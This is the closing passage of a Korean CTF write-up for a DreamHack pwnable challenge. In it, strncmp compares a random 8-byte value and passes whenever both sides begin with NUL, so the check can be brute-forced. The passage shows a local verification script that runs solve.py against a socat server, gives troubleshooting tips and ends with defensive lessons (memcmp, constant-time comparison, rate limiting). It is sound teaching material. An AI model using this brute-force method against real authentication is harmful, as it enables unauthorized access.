SOCAT_PID=$(ss -ltnpH "sport = :$PORT" 2>/dev/null | grep -oP 'pid=\K[0-9]+' | head -1)
trap 'kill "$SOCAT_PID" 2>/dev/null || true' EXIT
 
gcc -O0 -o strncmp_demo strncmp_demo.c && ./strncmp_demo
python3 local_bruteforce.py 2000
OUT=$(timeout 180 python3 solve.py 127.0.0.1 "$PORT" --threads 6 --max 4000 2>&1) || true
FLAG=$(printf '%s' "$OUT" | grep -aoE 'DH\{[^}]+\}' | head -1)
[ "${FLAG:-}" = "$DUMMY" ] && { echo "✅ 기법 PASS (로컬 더미 flag)"; exit 0; }
echo "❌ FAIL"; exit 1

성공·실패 판정은 이렇게 읽으면 된다.

화면뜻대처
허가 거부 / exit 126prob 에 실행 비트가 없다chmod +x prob
통과율이 0.0% 로 고정위와 같은 원인이거나 flag 파일이 없다local/flag 를 만든다
시도 N회 가 멈춘 채 안 늘어남서버가 만료됐거나 방화벽nc -zv <host> <port> 로 먼저 확인
4000회를 다 쓰고 실패확률상 드물다(약 1/1,000,000)그냥 다시 돌린다

로컬 모드에서 나오는 DH{local_dummy_flag_for_verification} 은 우리가 만든 더미다.

진짜 플래그는 문제 서버 안에만 있으므로 오프라인 재현으로는 얻을 수 없다.

필요한 것은 gcc, python3, socat 셋뿐이다.



📝 결론

strncmp 의 n 은 상한이지 하한이 아니다.

"길이를 명시했으니 그만큼은 확실히 본다" 는 감각이 틀렸다. NUL 이 먼저 오면 거기서 끝나고, 양쪽 다 NUL 이면 같다고 답한다.

이진 데이터를 비교할 때 strncmp/strcmp 계열을 쓰면 안 되는 이유다.

이 문제에서는 그 차이가 2⁶⁴ 대 2⁸ 였다. 같은 코드가 "사실상 불가능" 에서 "커피 한 잔 마시는 동안" 으로 내려온다.

바이트 배열은 memcmp 로, 비밀값은 상수 시간 비교로.

길이가 정해진 이진 값이라면 memcmp(a, b, 8) 이 맞다. NUL 을 특별 취급하지 않고 딱 8바이트를 본다.

비밀번호·토큰·MAC 처럼 비밀값을 비교한다면 한 걸음 더 가서 CRYPTO_memcmp 같은 상수 시간 비교를 쓴다. 조기 종료는 그 자체로 타이밍 정보를 흘린다.

난수를 쓴다고 안전해지지 않는다.

/dev/urandom 은 제 할 일을 다 했다. 여덟 바이트를 제대로 무작위로 줬고, 그중 첫 바이트가 0x00 인 것도 정상 동작이다.

문제는 그 값을 어떻게 쓰느냐 였다. 난수의 특정 바이트 값이 검사 로직의 의미를 바꿔 버리는 구조라면 난수 품질과 무관하게 뚫린다.

시도 횟수를 제한하지 않으면 확률은 시간 문제가 된다.

1/256 은 한 번에는 잘 안 맞지만 초당 30회를 던지면 10초짜리 문제다.

sleep(0) 이 아니라 sleep(1) 이었다면 평균 4분, 실패 시 접속 차단까지 있었다면 훨씬 성가셨을 것이다. 인증 실패에 지연과 횟수 제한을 거는 건 이래서 필요하다.

그리고 눈에 띄는 원시 기능이 항상 정답은 아니다.

임의 주소 8바이트 쓰기는 웬만한 pwn 문제에서는 끝내주는 무기다. 그런데 이 문제에서는 주소 유출이 없어 쓸 수가 없었다.

프로그램이 maybe impossible 이라고 적어 둔 게 도발이 아니라 그냥 사실이었다. 화려한 쪽을 먼저 파느라 정작 첫 번째 분기의 비교 함수를 늦게 들여다봤다 — 다음엔 순서를 바꿔야겠다.

이 글이 도움이 됐나요?

Comments

댓글

0개

댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)

댓글 불러오는 중…

Related

관련 글

3개
[🥉 Bronze 4] strncmp(18) 부분비교 + 시간기반 토큰 — DreamHack angry_darim 풀이
blog

[🥉 Bronze 4] strncmp(18) 부분비교 + 시간기반 토큰 — DreamHack angry_darim 풀이

time()으로 매초 바뀌는 "동적 토큰"을 strncmp로 딱 18바이트만 비교하는 바이너리. 로컬에서는 실행 순간의 epoch를 그대로 넣어 우회하지만, 정작 DreamHack에 내는 flag는 그 시간 요소를 통째로 들어내야 하는 정적 문자열이었다.
#dreamhack#ctf#pwnable+5
2026-07-19#dreamhack +5
[🥈 Silver 2] MD5를 잘게 썰면 "충돌 저항성"이라는 말이 무색해진다 — DreamHack hash-browns 풀이
blog

[🥈 Silver 2] MD5를 잘게 썰면 "충돌 저항성"이라는 말이 무색해진다 — DreamHack hash-browns 풀이

스트립된 리버싱 바이너리 하나가 전부다. 입력을 받아 27바이트로 자르고, 그걸 다시 3바이트씩 9조각으로 쪼갠 뒤 각 조각의 MD5를 계산해 바이너리 안에 박혀 있는 16바이트 값과 비교한다. 27바이트 전체를 한 번에 맞히려 들면 무차별대입은 우주 나이보다 오래 걸리지만, 3바이트짜리 조각 하나의 MD5 역상은 파이썬으로 0.2초면 찾는다. 해시 함수 자체는 멀쩡한데, "작은 조각으로 쪼개 각각 검증한다"는 설계 하나가 전체 키공간을 9개의 훨씬 작은 문제로 무너뜨린다.
#dreamhack#ctf#reversing+5
2026-07-21#dreamhack +4
[🥉 Bronze 2] 정수의 양 끝을 넘겨 셸을 딴다 — DreamHack set-int 풀이
blog

[🥉 Bronze 2] 정수의 양 끝을 넘겨 셸을 딴다 — DreamHack set-int 풀이

입력 두 개를 받아 조건 두 개를 모두 통과하면 system("/bin/sh") 를 부르는 문제. 평범하게 보면 둘 다 모순처럼 보이지만, unsigned 와 signed 정수의 경계값(0xFFFFFFFF, INT_MIN)을 넣으면 +1·-1 이 반대쪽 끝으로 래핑된다. a=4294967295, b=-2147483648 두 값으로 두 관문을 한 번에 넘겨 셸을 얻는다.
#dreamhack#ctf#misc+4
2026-10-17#dreamhack +4